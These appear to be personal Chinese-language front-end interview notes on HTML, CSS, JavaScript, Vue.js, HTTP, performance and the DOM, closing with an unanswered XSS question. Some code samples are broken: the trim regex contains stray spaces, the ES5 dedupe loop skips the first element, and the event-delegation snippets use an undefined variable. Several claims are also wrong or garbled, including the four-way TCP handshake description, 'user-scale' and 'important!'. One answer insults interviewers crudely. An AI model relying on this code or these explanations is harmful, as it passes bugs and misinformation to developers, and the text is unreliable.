一、HTML
1.1 你是如何理解HTML语义化的?
语义化指的就是根据内容的结构化,选择合适的标签,便于开发者阅读和维护。
我平时写的代码都是语义化的代码,标题我就写h1-h6,文章我就写article,如果是时间,我就会用timer标签,如果是一个画板我就用canvas标签,这就是HTML语义化。
1.2 meta viewport 是做什么用的,怎么写?
(换句话说,你如果手机页面不缩放,应该怎么写)
<meta name="viewport" content="width=device-width,user-scale=no,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0>
1.3 你用过哪些HTML5标签
- 内容相关的标签:header main footer article
- 功能相关的标签:canvas video audio
- canvas (可用于通过使用JavaScript中的脚本来绘制图形)
<canvas id="canvas"></canvas>
var canvas = document.getElementById('canvas')//获取画布句柄
var ctx = canvas.getContext('2d');//需要指明2d上下文
ctx.fillStyle = 'green'
ctx.fillRect(10,10,100,100)//画一个矩形,参数依次为 x坐标,y坐标,宽度,高度
2D上下文:从坐标的左上角的,width 和 height 水平和垂直方向的可用像素
- video ( 用于在HTML或者XHTML文档中嵌入媒体播放器,用于支持文档内的视频播放)
<video controls autoplay>
<source src="myVideo.mp4" type="video/mp4">
<source src="myVideo.webm" type="video/webm">
<p>Your browser doesn't support HTML5 video. Here is
a <a href="myVideo.mp4">link to the video</a> instead.</p>
</video>
在HTML中写入
video
标签,属性有controls,autoplay,标签里面写几个source
标签,这是因为不同的浏览器支持的播放格式不一定一致,然后浏览器会使用它所支持的第一个源。
1.4 H5是什么?
- 移动端页面
1.5 canvas跟svg的区别
1.5 响应式布局
- css根据屏幕宽度,自动调整网页div显示和布局,以适应不同尺寸屏幕优化浏览体验。
二、CSS
2.1 两种盒模型
- 分为border-box(IE盒模型)和content-box(W3C盒模型)
- 区别:border-box的宽度width将padding和border算在里面,而content-box没有
- 举个例子:如果我需要一个这样的布局,要一个div的整体宽度是页面的50%,并且这个div还带一个10px的边框
IE盒模型
div{
width:50%;
border:10px solid black;
box-sizing:border-box;/* 设置为IE盒模型标准 */
}
W3C模型
div{
width:calc(50%-20px);
border:10px solid black
}
css3的计算属性calc()兼容性一般
2.2 如何实行垂直居中
- 若元素是单行文本, 则可设置 line-height 等于父元素高度
- 在不在的自己的高度和父容器的高度时候,利用绝对定位是需要三行:
.father{
position:relative
}
.child{
positon:absolute;
top:50%;
transform:translateY(-50%)
}
- 不考虑兼容性的话,用Flex布局
.father{
display:flex;
align-items:center;
}
2.2 如何实行水平居中
- 若是行内元素, 给其父元素设置 text-align:center,即可实现行内元素水平居中.
- 若是块级元素, 该元素设置 margin:0 auto即可.
水平居中较为简单, 共提供了8种方法, 一般情况下 text-align:center,marin:0 auto; 足矣
① text-align:center;
② margin:0 auto;
③ width:fit-content;
④ flex
⑤ 盒模型
⑥ transform
⑦ ⑧ 两种不同的绝对定位方法
垂直居中, 共提供了8种方法.
① 单行文本, line-height
② 单行或多行文字, 使用 display: inline-block, vertical-align: middle; 加上伪元素辅助实现
③ 在最外層寫一個偽table,也就是display:table,然後在要垂直置中的區塊,加上display:table-cell以及vertical-align: middle
④ flex
⑤ 盒模型
⑥ transform
⑦ ⑧ 两种不同的绝对定位方法
设置父元素相对定位(position:relative), 子元素如下css样式:
.son{
position:absolute;
top:50%;
height:固定;
margin-top:-0.5高度;
}
.son{
position:absolute;
height:固定;
top:0;
bottom:0;
margin:auto 0;
}
2.3 flex怎么用,常用的属性有哪些
- Flex布局的父元素共有6种属性可以设置
flex-direction
属性决定主轴的方向
flex-wrap
属性决定当子元素的总和大于父元素时候是否换行
flex-flow
属性是flex-direction和flex-wrap的组合,它是将这两个属性写到一起,先写flex-direction,后写flex-wrap,默认值为row nowrap
justify-content
属性定义子元素在主轴上的对齐方式
align-items
属性定义子元素在侧轴上的对齐方式
align-content
属性定义子元素多根轴线在侧轴上的对齐方式,只在多行显示下有效。
- Flex布局的子元素共有6种属性可以设置
flex-grow
属性表示当父元素空间有剩余时,将剩余空间分配给各子元素的比例
flex-shrink
属性与flex-grow属性的作用相反,表示当子元素宽度总和大于父元素宽度,且未换行显示时,各子元素压缩大小,默认为1,表示各子元素等比压缩
flex-basis
属性可以用来设置子元素的空间,默认值为auto,表示为原本大小
flex
属性是flex-grow、flex-shrink和flex-basis的合集,默认值为0 1 auto,后两个属性可不写
order
属性定义子元素在排列顺序,默认值为0,值越小越靠前
align-self
属性允许子元素单独设置对齐方式,优先级比父元素的align-items高。默认值为auto,表示继承父元素的align-items
2.4 BFC是什么?
- BFC的名称是块级格式化上下文
- 如果我们给一个div加上overflow:hidden,那么这个div里面的浮动元素就会被他包裹起来。
- 通俗一点来讲,触发BFC就是将触发的区域当作一个容器,,这个容器管理着里面的块级元素。BFC内部元素与与外部元素相互隔离,从而使内外元素的定位不会相互影响。
2.5 CSS选择器的优先级
- 越具体优先级越高
.xxx
:not(.xxx):first-child{}
- 写在后面的覆盖前面的
- important!优先级最高,少用
2.5 清除浮动
.clearfix{
content:'';
display:block;
clear:both;
}
.clearfix 加到容器元素上,里面的子元素的浮动就被清除了
2.6 rem
- rem是相对于根元素的字体大小的单位
2.7 行内元素,块状元素,行内块元素
2.7.1 行内元素
- 设置宽高无效
- 对margin仅设置左右方向有效,上下无效
- 不会自动进行换行
2.7.2 块状元素
- 能够识别宽高
- margin和padding的上下左右均对其有效
- 可以自动换行
- 多个块状元素标签写在一起,默认排列方式为从上至下
2.7.3 行内块元素
- 不自动换行
- 能够识别宽高
- 默认排列方式为从左到右
2.7.4 行内块元素在同一行显示时有默认空隙,如何解决
- 原因:换行显示或空格分隔的情况下会有间距
- 使用margin负值
- 父元素使用font-size:0
.space {
font-size: 0;
}
.space a {
font-size: 12px;
}
- 使用letter-spacing
- 使用word-spacing
三、原生JS
3.1 ES6语法知道哪些,分别怎么用?
3.1.1 let const
- let的作用域是块,而var的作用域是函数,let其作用域为该语句所在的代码块内,不存在变量提升;
- const定义的变量不可以修改,而且必须初始化,以及不能重新声明。
const定义的变量,不能修改栈内对应的值或者地址。
- 函数提升优先于变量提升,函数提升会把整个函数挪到作用域顶部,变量提升只会把声明挪到作用域顶部
- var 存在提升,我们能在声明之前使用。 let 、 const 因为暂时性死区的原因,不能在声明前使用
- var 在全局作用域下声明变量会导致变量挂载在 window 上,其他两者不会
- let 和 const 作用基本一致,但是后者声明的变量不能再次赋值
const有let的所有特性;
然后const不一定是常量
const obj = {a:1}
obj.a=2
obj.b=2
是可行的,
const obj = {a:1}
obj = {a:2}
不可行,
3.1.2 箭头函数
- 没有 this
- 没有 arguments
- 不能通过 new 关键字调用
- 没有原型
var Foo = () => {};
var foo = new Foo(); // TypeError: Foo is not a constructor
3.1.3 函数默认参数值
function multiply(a, b = 1) {
return a * b;
}
3.1.4 展开运算符
3.1.5 模板字符串
let bianliang = 1111;
console.log(`输出的会是 ${bianliang}`);
3.1.5 解构赋值
var a, b;
[a=5, b=7] = [1];
console.log(a); // 1
console.log(b); // 7
3.1.6 Promise
- Promise 对象用于表示一个异步操作的最终状态(完成或失败),以及该异步操作的结果值。
- Promise 最直接的好处就是链式调用
3.2 手写函数防抖,函数节流
3.2.1 函数防抖
function fn(){}
var timerId = null
button.onclick = function(){
if(timerId){
window.clearTimeout(timerId)
}
timerId = setTimeout(()=>{
fn()
timerId = null
},5000)
}
3.2.2 函数节流
function fn(){}
let cd = false
button.onclick = funciton(){
if(cd){
}else{
fn()
cd = true
let timerId = setTimeout(()=>{
cd = false
},5000)
}
}
3.4 手写AJAX
let request = new XMLHttpRequest()
request.open('GET','/xxx')
request.onreadystatechange = function(){
if(request.readyState === 4){
console.log('请求完成')
if(request.response.status >= 200 && request.response.status < 300){
console.log('请求成功')
}else{
}
}
}
request.send()
3.5 this (如何正确判断 this?箭头函数的 this 是什么?)
- 对于直接调用 foo 来说,不管 foo 函数被放在了什么地方, this 一定是 window
- 对于 obj.foo() 来说,我们只需要记住,谁调用了函数,谁就是 this ,所以在这个场景下 foo 函数中的
this 就是 obj 对象 - 对于 new 的方式来说, this 被永远绑定在了 c 上面,不会被任何方式改变 this
1. fn()
this => window
2. obj.fn()
this => obj
3. fn.call(xxx)
this => xxx
4. fn.bind(xxx)
this => xxx
5. fn.apply(xxx)
this => xxx
6. new Fn()
this => 新的对象
7. fn=()=>{}
this => 外面的this
3.6 闭包及其立即执行函数
3.6.1 闭包
-
概念:一个函数和这个函数内部能访问到的变量(也叫环境)的总和就是闭包
- 作用:通常用来创建内部变量,使得这些变量不能被外部随意修改,同时又可以通过指定的函数接口来操作。
- 缺点:内存消耗大,IE容易造成内存泄露,函数调用完手动回收变量!
3.6.2 立即执行函数
-
概念:声明一个匿名函数,然后立马执行这个函数
作用:创建一个独立的作用域。这个作用域里面的变量,外面访问不到(即避免「变量污染」)。
3.7 什么是JSONP,什么是CORS,什么是跨域?
3.7.1 JSONP
概念:JSONP是一种非正式传输协议,用来跨域请求的
原理:允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
<script src="http://api.jirengu.com/weather.php?callback=showData"></script>
- JSONP优点是简单兼容性好,可用于解决主流浏览器的跨域数据访问的问题。缺点是仅支持get方法具有局限性,不安全可能会遭受XSS攻击
1. 知道 jsonp 么?
答:知道,可以实现跨域请求;
2. 为什么 ajax 不可以,但是 jsonp 可以实现跨域请求呢?
答:因为 jsonp 是通过插入一个 script 标签,利用 script 可以跨域请求来实现的。
答:面试官傻逼,ajax 现在也可以使用 cors 来做跨域请求;
2.5 jsonp 实现原理?
答:通过创建一个 script 标签,将 src 设置为目标请求,插入到 dom 中,服务器接受该请求并返回数据,数据通常被包裹在回调钩子中;
3. 可以用 jsonp 发送 post 请求么?
答:显然不行,因为JSONP是通过动态创建<srcipt>标签来发送请求,<srcipt>只支持发送GET请求
4. 参考 jsonp,还有那些发送跨域请求的途径?
答:img link iframe 等元素都可以发送跨域请求呀!
5. img link iframe script 来发送跨域请求有什么优缺点?
3.7.2 CROS
概念:跨域资源共享,是AJAX跨域请求资源的方式
Access-Control-Allow-Origin的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。
// 限制当前请求http://a.code.com:8080可以获取数据
header("Access-Control-Allow-Origin", "http://a.code.com:8080");
// 接受任何请求
// header("Access-Control-Allow-Origin", "*");
CORS和JSONP的应用场景区别?
CORS要求浏览器(>IE10)和服务器的同时支持,是跨域的根本解决方法,由浏览器自动完成。优点在于功能更加强大支持各种HTTP Method,缺点是兼容性不如JSONP。
3.7.3 跨域
- 协议+域名+端口
3.8 async/await 怎么用,如何捕获异常?
- await 只能放在async函数里面
- 为什么要用 await
async/await是generator的语法糖,让异步代码写成同步的样式
- 所有async函数都会返回一个Promise函数
- 如果要await多个请求,需要借用Promise.all()
async function test(){
try{
let n = await Promise.all([fn1,fn2])
}catch(err){
console.log('失败的结果')
}
}
3.9 JS如何实现对象深拷贝
- 递归
- 判断类型
- 循环引用
- 深拷贝,就是遍历那个被拷贝的对象
- 判断对象里每一项的数据类型
- 如果不是对象类型,就直接赋值,如果是对象类型,就再次调用deepCopy,递归的去赋值。
function deepClone(source){
const targetObj = source.constructor === Array ? [] : {}; // 判断复制的目标是数组还是对象
for(let keys in source){ // 遍历目标
if(source.hasOwnProperty(keys)){ // 意思就是__proto__上面的属性,我不拷贝
if(source[keys] && typeof source[keys] === 'object'){ // 如果值是对象,就递归一下
targetObj[keys] = source[keys].constructor === Array ? [] : {};
targetObj[keys] = deepClone(source[keys]);
}else{ // 如果不是,就直接赋值
targetObj[keys] = source[keys];
}
}
}
return targetObj;
}
var targetObj = JSON.parse(JSON.stringify(copyObj))
如果你的对象里有函数,函数无法被拷贝下来
无法拷贝copyObj对象原型链上的属性和方法
3.10 如何用正则实现trim
function trim(string){
return string.replace(/^\s + |\s + $/g,'')
}
3.11 不用class实现继续
3.11.1 原型模式
- 每个函数都有一个prototype(原型)属性
- 这个属性都有一个指针,指向一个对象(原型对象)
- 这个对象包含由特定类型所有实例共享的属性和方法
- 使用原型的好处是 可以让所有对象实例共享它包含的方法和属性
- 对象的 _proto_ 属性指向原型, _proto_ 将对象和原型连接起来组成了原型链
3.11.2 原型链
在 javaScript 中,每个对象都有一个指向它的原型(prototype)对象的内部链接。这个原型对象又有自己的原型,直到某个对象的原型为 null 为止(也就是不再有原型指向),组成这条链的最后一环。这种一级一级的链结构就称为原型链
- 不用class实现继承
function Animal(color){
this.color = color
}
Animal.prototype.move = function(){}
function Dog(color,name){
Animal.call(this,color) //得分点
this.name = name
}
function temp(){}
temp.prototype = Animal.prototype
Dog.prototype = new temp()
Dog.prototype.constructor = Dog
Dog.prototype.say = ()=>{console.log('汪汪')}
var dog = new Dog('黄色','阿黄')
- 用class实现继承
class Animal{
constructor(color){
this.color = color
}
move(){
console.log(this)
}
}
class Dog extends Animal{
constructor(color,name){
super(color)
this.name = name
}
say(){
console.log('汪汪')
}
}
let dog = new Dog('颜色','姓名')
3.12 实现数组去重
- hash
- [...new Set(array)]
- WeakMap (支持所有类型的去重 )
ES5
function unique(array){
let hash = {}
let number = []
for(let i = 1;i<array.length;i++){
if(hash[array[i]] === undefined){
number.push(array[i])
hash[array[i]] = 1
}
}
return number
}
ES 6
function unique(array){
return Array.from(new Set(array))
}
3.13 手写Promise
function Promise(executor) {
let self = this;
self.status = 'pending'; //等待态
self.value = undefined; //成功的返回值
self.reason = undefined; //失败的原因
function resolve(value) {
if (self.status === 'pending') {
self.status = 'resolved';
self.value = value;
}
}
function reject(reason) {
if (self.status === 'pending') {
self.status = 'rejected';
self.reason = reason;
}
}
try {
executor(resolve, reject);
} catch (e) {
reject(e);// 捕获时发生异常,就直接失败
}
}
//onFufiled 成功的回调
//onRejected 失败的回调
Promise.prototype.then = function (onFufiled, onRejected) {
let self = this;
if (self.status === 'resolved') {
onFufiled(self.value);
}
if (self.status === 'rejected') {
onRejected(self.reason);
}
}
module.exports = Promise;
测试
let Promise = require('./Promise');
let promise = new Promise(function (resolve, reject) {
resolve(100);
})
promise.then(function (data) {
console.log('data:', data);
},function (err) {
console.log('err:', err);
})
3.14 如何判断变量的类型
3.14.1 typeof vs instanceof
涉及面试题:typeof 是否能正确判断类型?instanceof 能正确判断对象的原理是什么?
- typeof 对于原始类型来说,除了
null
都可以显示正确的类型 - typeof 对于对象来说,除了
函数
都会显示 object
typeof [] // 'object'
typeof {} // 'object'
typeof console.log // 'function'
- instanceof 能正确判断对象的原理:因为内部机制是通过原型链来判断
3.15 在JavaScript中,有三种常用的绑定事件的方法
- 在DOM元素中直接绑定;
<input onclick="alert('谢谢支持')" type="button" value="点击我,弹出警告框" />
- 在JavaScript代码中绑定;
例如,为 id="demo" 的按钮绑定一个事件,显示它的 type 属性:
<input id="demo" type="button" value="点击我,显示 type 属性" />
<script type="text/javascript">
document.getElementById("demo").οnclick=function(){
alert(this.getAttribute("type"));
}
</script>
- 绑定事件监听函数
button.addEventListener("click", function (evt) { ... }, true); // IE9, IE9+, Chrome, Safari, Opera
button.attatchEvent("onclick", function () { ... }); // IE9-
3.16 数组里面有哪些遍历方法
3.16.1 for循环
var a = [1, 2, 3, 4, 5];
for (var i = 0; i < a.length; i++) {
console.log(a[i]);
}
3.16.2 forEach,some和every
- forEach 会遍历数组中的所有值并忽略回调函数的返回值
var a = [1, 2, 3, 4, 5];
a.forEach(function (i) {
console.log(i);//1 2 3 4 5
// return true ,return false 或者不写返回值,结果都一样
})
- some(..):一直运行直到回调函数返回 true (或者“真”值).返回true时相当于在for循环里break,会提前终止循环
var a = [1, 2, 3, 4, 5];
a.some(function (i) {
if (i === 3) {
return true;
}
console.log(i); //1 2
return false;//回调函数默认返回false,这里不写也可以
});
- every(..):一直运行直到回调函数返回 false (或者“假”值).返回false时相当于在for循环里break,会提前终止循环
var a = [1, 2, 3, 4, 5];
a.every(function (i) {
if (i === 3) {
return false;
}
console.log(i);//1 2
return true;//回调函数默认返回false,这里return true必须要写,否则在遍历第一个属性值之后就会终止循环
})
3.16.3 for..in和for..of
- for..in循环可遍历对象的所有可枚举属性,所以一般用来遍历对象而不是数组,否则如果数组对象包含其他可枚举属性,遍历结果就会和期望结果不同
var a = [1,2,3];
a.ex = "ex";
//注意这里遍历的只是属性
for(var i in a){
console.log(i); // 0 1 2 ex
}
- for..of :为了弥补for..in循环遍历数组的缺陷,ES6推出了for..of循环
3.16.4 map() ,filter(),reduce()
3.16.5 while
3.17 JS的执行机制
- javascript是一门单线程语言
-
Event Loop是javascript的执行机制
3.18.1 浏览器中的 Event Loop
macro-task(宏任务): setTimeout, setInterval, setImmediate(ie浏览器特有),MessageChannel
micro-task(微任务): Promise.then,Object.observe(已废弃), MutationObserver
- 首先执行同步代码,这属于宏任务
- 当执行完所有同步代码后,执行栈为空,查询是否有异步代码需要执行
- 执行所有微任务
- 当执行完所有微任务后,如有必要会渲染页面
- 然后开始下一轮 Event Loop,执行宏任务中的异步代码,也就是 setTimeout 中的回调函数
3.18.2 Node 中的 Event Loop
macro-task(宏任务): setTimeout, setInterval, setImmediate, I/O
micro-task(微任务): process.nextTick,Promise.then,Object.observe(已废弃), MutationObserver(vue中使用但由于不兼容放弃)
- Node 的 Event Loop 分为 6 个阶段,它们会按照顺序反复运行。每当进入某一个阶段的时候,都会从对应的回调
队列中取出函数去执行。当队列为空或者执行的回调函数数量到达系统设定的阈值,就会进入下一阶段。
3.19 call()、apply()、bind()
- 不同之处在于,call 方法传递给调用函数的参数是逐个列出的,而 apply 则是要写在数组中。
- 核心要点: 可以看出 call 和 apply 是为了动态改变 this 而出现的,当一个 Object 没有某个方法,但是呢,其它的对象有,我们可以借助 call 或 apply 用其它对象的方法来操作。
- bind 方法传递给调用函数的参数可以逐个列出,也可以写在数组中。bind 方法与 call、apply 最大的不同就是前者返回一个绑定上下文的函数,而后者是直接执行了函数
3.19.1 手写bind
Function.prototype.myBind = function (context) {
if (typeof this !== 'function') {
throw new TypeError('Error')
}
const _this = this
const args = [...arguments].slice(1)
// 返回一个函数
return function F() {
// 因为返回了一个函数,我们可以 new F(),所以需要判断
if (this instanceof F) {
return new _this(...args, ...arguments)
}
return _this.apply(context, args.concat(...arguments))
}
}
四、Vue.js
4.1 watch 和 computed 区别是什么?
- watch 是监听数据,computed 是计算属性
- computed属性只在依赖的数据发生变化时,才会重新计算,否则当多次调用computed属性时,调用的其实是缓存;watch则每调用一次就计算一次;
4.2 Vue有哪些生命周期钩子函数?分别有什么用?
- beforeCreate :可以在这加个loading事件
- created:在这里结束loading,还做一些初始化,实现函数自执行
- mounted:在这里发起axios请求,拿回数据,配合路由钩子做其他事情
- updated:监听data里面所有的数据
- beforeDestory,destoryed:但组件已被删除,清空相关内容
4.3 Vue如何实现组件间的通信
- 父子组件:1. 父传子,用props 2. 子传父,$emit('xxx',data) $on('xxx',function(){})
- 爷孙组件,兄弟组件: eventBus var eventBus = new Vue(); eventBus.$emit() eventBus.$on()
- Vuex
Vuex是专门为Vue.js开发的全局状态管理工具
4.4 Vue数据响应式怎么做到的?
- 当你把一个普通的 JavaScript 对象传入 Vue 实例作为
data
选项,Vue 将遍历此对象所有的属性,并使用Object.defineProperty
把这些属性全部转为 getter/setter。 - 在mount时,实例了一个Watcher,它会在组件渲染的过程中把“接触”过的数据属性记录为依赖。之后当依赖项的 setter 触发时,会通知 watcher,从而使它关联的组件重新渲染。
4.5 Vue.set是做什么用的?
- 当你想添加新的根级响应式属性时候用
mounted () {
this.$set(this.student,"age", 24)
}
4.6 Vuex你是这么用的?
- 5个属性:state,getter,mutation,action,module
- state的作用:类似于Vue对象里面的data,里面存放的数据是响应式的。
- getter的作用:可以对State进行计算操作,她就是store的计算属性
- mutation的作用:是Vuex修改state的唯一推荐方法,mutation用于修改state的数据,是同步的
- action的作用:类似于 mutation, 不同在于:action 提交的是 mutation,而不是直接变更状态,action 可以包含任意异步操作
- module的作用:项目特别复杂的时候,可以让每一个模块拥有自己的state、mutation、getters、action.,使得结构清晰,方便管理。
4.7 Vue-Router你怎么用的?
- Vue Router是官方的路由管理器
全局导航钩子
- router.beforeEach(to,from,next) 作用主要是用于登录验证
- router.beforeResolve(to, from, next),
- router.afterEach(to, from )
组件內钩子
- beforeRouteEnter,
- beforeRouteUpdate,
- beforeRouteLeave
单独路由独享组件
- beforeEnter
4.7.1 active-class 是哪个组件的属性?嵌套路由怎么定义
- active-class 是 vue-router 模块的 router-link 组件的属性
- 使用 children 定义嵌套路由
4.7.2 怎么定义 vue-router 的动态路由? 怎么获取传过来的值
- 在 router 目录下的 index.js 文件中,对 path 属性加上 /:id。
- 使用 router 对象的 params.id 获取
4.7.3 $route和$router的区别
- $route是“路由信息对象”,包括path,params,hash,query,fullPath,matched,name等路由信息参数。
- $router是“路由实例”对象包括了路由的跳转方法,钩子函数等。
4.7.4 指令keep-alive
<keep-alive></keep-alive> 包裹动态组件时,会缓存不活动的组件实例,主要用于保留组件状态或避免重新渲染。
大白话: 比如有一个列表和一个详情,那么用户就会经常执行打开详情=>返回列表=>打开详情…这样的话列表和详情都是一个频率很高的页面,那么就可以对列表组件使用<keep-alive></keep-alive>进行缓存,这样用户每次返回列表的时候,都能从缓存中快速渲染,而不是重新渲染
<component :is='curremtView' keep-alive></component>
4.7.5 路由守卫
- 概念:导航守卫就是路由跳转过程中的一些钩子函数。
4.7.6 hash和history的区别
- Hash 模式只可以更改 # 后面的内容,History 模式可以通过 API 设置任意的同源 URL
- History 模式可以通过 API 添加任意类型的数据到历史记录中,Hash 模式只能更改哈希值,也就是字符串
- Hash 模式无需后端配置,并且兼容性好。History 模式在用户手动输入地址或者刷新页面的时候会发起 URL
请求,后端需要配置 index.html 页面用于匹配不到静态资源的时候
4.8 vue 的双向绑定的原理是什么
vue.js 是采用数据劫持结合发布者-订阅者模式的方式,通过 Object.defineProperty()来 劫持各个属性的 setter,getter,在数据变动时发布消息给订阅者,触发相应的监听回调。
4.9 对MVVM框架的理解,它和其它框架(jquery)的区别是什么?哪些场景适合?
- 一个model+view+viewModel框架,数据模型model用户操作界面view,viewModel连接这两个,
在使用过程中,利用双向绑定技术,当Model变化时,ViewModel会自动更新,而ViewModel变化时,View也会自动变化 - 区别:vue数据驱动,通过数据来显示视图层而不是节点操作。
- 场景:数据操作比较多的场景,更加便捷
4.10 v-slot
- 是对组件的扩展,通过slot插槽向组件内部指定位置传递内容,通过slot可以父子传参
4.11 v-for中的key值
- 当 Vue 正在更新使用 v-for 渲染的元素列表时,它默认使用“就地更新”的策略
- 为了给 Vue 一个提示,以便它能跟踪每个节点的身份,从而重用和重排现有元素
- 为了高效的更新虚拟DOM
4.12 v-if 和 v-show
- v-if是动态的向DOM树内添加或者删除DOM元素;v-show是通过设置DOM元素的display样式属性控制显隐
五、 HTTP
5.1 HTTP状态码
- 200 (成功)服务器已经成功处理了请求。
- 201 (已创建)请求成功并且服务器创建了新的资源。
- 204 (无内容)服务器成功处理了请求,但是没有返回任何内容
- 300 (多种选择)针对请求,服务器可执行多种操作。
- 301 (永久重定向)请求的网页已永久移动到新的位置。
- 302 (临时重定向)请求的资源已被分配了新的URI,希望用户能使用新的URI访问
- 303 (查看其他位置)请求对应的资源存在着另一个URI,应使用GET方法定向获取请求的资源
- 304 (未修改) 自从上次请求后,请求的网页未修改过。
- 400 (错误请求) 服务器不理解请求的语法。
- 401 (未授权) 请求要求身份验证。
- 403 (禁止) 服务器拒绝请求。
- 404 (未找到) 服务器找不到请求的网页。
- 414 (请求的 URI 过长) 请求的 URI(通常为网址)过长,服务器无法处理。
- 500 (服务器内部错误) 服务器遇到错误,无法完成请求。
- 502 (错误网关) 服务器作为网关或代理,从上游服务器收到无效响应。
- 503 (服务不可用) 服务器目前无法使用(由于超载或停机维护)。 通常,这只是暂时状态。
- 504 (网关超时) 服务器作为网关或代理,但是没有及时从上游服务器收到请求。
5.2 HTTP缓存有几种
5.3 GET和POST请求的区别
- GET是向服务器端请求数据,POST是向服务器提交数据。(正确的说法)
- GET URL有长度限制的,而POST没有。
- GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
- GET参数通过URL传递,POST放在消息体中。
- GET 只需要一个报文,POST需要两个及以上
- GET 幂等,POST不幂等(幂等:你发多次请求是不会改变数据库里面的东西,而POST不一定。)
5.4 Cookie LocalStorage SessionStorage Seccion
5.4.1 Cookie 和 Session的区别
- Cookie是服务器发给客户端的一段字符串,浏览器在每次访问对应域名的时候都要带上这个字符串
- Session 是会话,表示浏览器和服务器一段时间内的会话
- Session是在服务器上,Cookie是在浏览器上
- Session一般是基于Cookie实现的,把Session_ID放到Cookie里面
5.4.2 Cookie 和 LocalStorage
- Cookie一般是4K,LocalSrotage一般是5M
- Cookie一般是存用户信息的,LocalSrotage存储不重要的东西
- Cookie会发送到服务器的,LocalSrotage不会
5.4.2 SessionStorage和 LocalStorage
- LocalStorage一般不会过期,SessionStorage会在Session结束时候过期
5.4.3 如果浏览器禁用cookie,怎么办?
- URL重写,就是把session id直接附加在URL路径的后面。
http://www.test.com/test;jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764
- 表单隐藏字段。就是服务器会自动修改表单,添加一个隐藏字段,以便在表单提交时能够把session id传递回服务器。
<form name=”"testform”" action=”"/xxx”"> <input type=”"hidden”" name=”"jsessionid”" value=”"ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764″”> <input type=”"text”"> </form>
5.5 HTTP和HTTPS的区别
- HTTP 的URL 以http:// 开头,而HTTPS 的URL 以https:// 开头
- HTTP 标准端口是80 ,而 HTTPS 的标准端口是443
- HTTP工作于应用层,而HTTPS 的安全传输机制工作在传输层
- HTTP 无法加密,而HTTPS 对传输的数据进行加密
- HTTP无需证书,而HTTPS 需要CA机构的SSL证书
5.6 HTTP 1.1 和 HTTP 2.0 的区别
- 多路复用
做到同一个连接并发处理多个请求,而且并发请求的数量比HTTP1.1大了好几个数量级。
当然HTTP1.1也可以多建立几个TCP连接,来支持处理更多并发的请求,但是创建TCP连接本身也是有开销的。 - 数据压缩
HTTP1.1不支持header数据的压缩,HTTP2.0使用HPACK算法对header的数据进行压缩,这样数据体积小了,在网络上传输就会更快 - 服务器推送
意思是说,当我们对支持HTTP2.0的web server请求数据的时候,服务器会顺便把一些客户端需要的资源一起推送到客户端,免得客户端再次创建连接发送请求到服务器端获取。这种方式非常合适加载静态资源。
服务器端推送的这些资源其实存在客户端的某处地方,客户端直接从本地加载这些资源就可以了,不用走网络,速度自然是快很多的。
5.7 从输入URL到页面展现中间发生了什么?
1、浏览器的地址栏输入URL并按下回车。
2、浏览器查找当前URL是否存在缓存,并比较缓存是否过期。
3、DNS解析URL对应的IP。
4、根据IP建立TCP连接(三次握手)。
5、HTTP发起请求。
6、服务器处理请求,浏览器接收HTTP响应。
7、渲染页面,构建DOM树。
8、关闭TCP连接(四次挥手)
5.7.1 三次握手
- 客户端发送syn报文,并置发送序号为X
- 服务器发送syn+ack报文,并置发送序号为Y,确认序号为X+1
- 客户端发送ack报文,并置发送序号为Z,确认序号为Y+1
5.7.2 四次挥手
- 主动方放送Fin+ack报文,并置发送序号为Z
- 被动放发送ack报文,并置发送序号为Z,在确认序号为X+1
- 被动方发送Fin +ack 报文,并置发序号为Y,在确认序号为X
- 主动方发送Fin +ack报文,并置发送序号为X,在确认序号为Y
5.7.3 为什么建立连接协议是三次握手,而关闭连接却是四次握手呢?
这是因为服务端的LISTEN状态下的SOCKET当收到SYN报文的连接请求后,它可以把ACK和SYN(ACK起应答作用,而SYN起同步作用)放在一个报文里来发送。但关闭连接时,当收到对方的FIN报文通知时,它仅仅表示对方没有数据发送给你了;但未必你所有的数据都全部发送给对方了,所以你可能未必会马上会关闭SOCKET,也即你可能还需要发送一些数据给对方之后,再发送FIN报文给对方来表示你同意现在可以关闭连接了,所以它这里的ACK报文和FIN报文多数情况下都是分开发送的。
六、Web性能优化
6.1 DNS查询
- 尽量减少域名,把所有的资源放在一个网站
6.2 链接TCP协议
- 连接复用,在HTTP协议请求头里面写一个keep-alive
- 如果是HTTP2.0 多路复用
6.3 发送HTTP请求
- 减少cookie体积
- CacheControl
- 浏览器会同时发送多个请求
6.4 接受响应
- ETag 304
- Gzip 压缩 文件越大 效果越明显
6.5 DOCTYPE
- 不能不写,不能写错
6.5 CSS
- 使用CDN,增大下载的名额
- CSS放在head,js放在body最后
七、 超纲题
7.1 JS垃圾回收
7.1.1 什么是垃圾
- 没有被引用的对象可能是垃圾
- 多个对象相互引用形成环也是垃圾
7.1.2 浏览器是如何找到垃圾,并回收
- 标记-清除算法
从全局作用域开始,把所有遇到的变量都标记上, 然后被标记的变量引用了其他东西就再标记,一直标记到找不到新的东西,标记过程就结束了,最后把没标记的删除。
- 引用计数
八、DOM
8.1 事件委托
8K版本
ul.addEventListener('click',(e)={
if(e.targer.nodeName.toLowerCase === 'li'){
console.log('点击')
}
})
12K+版本
ul.addEventListener('click', function(e) {
var el= e.target;
while (target !== ul) {
if (target.tagName.toLowerCase() == 'li') {
console.log('li被点击了');
break;
}
el= el.parentNode;
}
})
8.2 用mouse事件实现一个可拖曳的div
xxx.style.left 1. 一开始是空 2. 自带px,需要parseInt
var dragging = false
var position = null
xxx.addEventListener('mousedown',(e)=>{
dragging = true
position = [e.clientX,e.clientY]
})
document.addEventListener('mousemove',(e)=>{
if(dragging === false){return}
let x = e.clientX
let y = e.clientY
const deltaX = x - position[0]
const deltaY = y - position[1]
const left = parseInt(xxx.style.left || 0)
const top = parseInt(xxx.style.top || 0)
xxx.style.left = left + deltaX + 'px'
xxx.style.top = top + deltaY + 'px'
position = [x,y]
})
document.addEventListener('mouseup',()=>{
dragging = false
})
九、安全押题
9.1 什么是XSS攻击,如何预防?
